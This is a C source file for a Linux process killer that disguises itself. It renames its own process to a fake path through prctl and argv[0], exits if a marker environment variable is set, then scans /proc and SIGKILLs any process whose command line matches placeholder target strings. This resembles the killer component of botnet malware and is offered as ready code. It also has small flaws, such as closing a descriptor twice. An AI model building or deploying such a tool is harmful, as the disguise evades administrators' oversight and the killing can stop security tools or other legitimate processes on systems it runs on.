string_SIGKIL.c

/*
    Process SIGKIL Sender.
 How to define strings
Locate this code segment in main.c
          const char* bad_strings[] = {
            "killstring",
            "killstring",
            "killstring"
            // DONT REMOVE LAST STRING ","
            };

*/
#include "main.h"

static bool killah_is_pid(char* pid) {
  size_t len = strlen(pid);
  for (size_t i = 0; i < len; i++) {
    if (!isdigit(pid[i])) {
      return false;
    }
  }

  return true;
}

static void killah_god_mode(char** argv, char** envp) {
  size_t name_sz = strlen(argv[0]);

  chdir(FAKE_PATH);
  setpriority(PRIO_PROCESS, 0, 19);
  prctl(PR_SET_NAME, FAKE_PATH, NULL, NULL, NULL);

  strncpy(argv[0], FAKE_PATH, sizeof(FAKE_PATH));

  for (char** env_node = envp; *env_node != 0; env_node++) {
    if (strncmp(*env_node, BAD_ENV, sizeof(BAD_ENV)) == 0) {
      exit(EXIT_FAILURE);
    }
  }
}

static bool killah_check_proc(pid_t pid) {
  bool str_found = false;

  const char* bad_strings[] = {
    "killstring",
    "killstring",
    "killstring"
    // DONT REMOVE LAST STRING ","
  };

  char cmd_path[PATH_MAX], cmd_line[CMD_BUF];
  memset(cmd_path, 0, sizeof(cmd_path));
  memset(cmd_line, 0, sizeof(cmd_line));

  if (snprintf(cmd_path, PATH_MAX - 1, "/proc/%d/cmdline", pid) < 0) {
    return false;
  }

  int fd = open(cmd_path, O_RDONLY);
  if (fd < 0) {
    return false;
  }

  if (read(fd, cmd_line, CMD_BUF - 1) < 0) {
    close(fd);
  }

  for (uint8_t i = 0; i < ARRAY_SIZE(bad_strings); i++) {
    if (strstr(cmd_line, bad_strings[i]) != NULL) {
      str_found = true;
      break;
    }
  }

  close(fd);
  return str_found;
}

static void killah_kill_bad() {
  DIR* current_dir = opendir("/proc/");
  if (current_dir != NULL) {
    struct dirent* dir_info = NULL;
    while ((dir_info = readdir(current_dir)) != NULL) {
      if (dir_info->d_type == DT_DIR) {
        if (killah_is_pid(dir_info->d_name)) {
          pid_t proc_id = strtoul(dir_info->d_name, NULL, 0);
          if (proc_id > 0) {
            if (killah_check_proc(proc_id)) {
              kill(proc_id, 9);
            }
          }
        }
      }
    }

    closedir(current_dir);
  }
}

int main(int argc, char** argv, char** envp) {
  killah_god_mode(argv, envp);
  killah_kill_bad();
  return 0;
}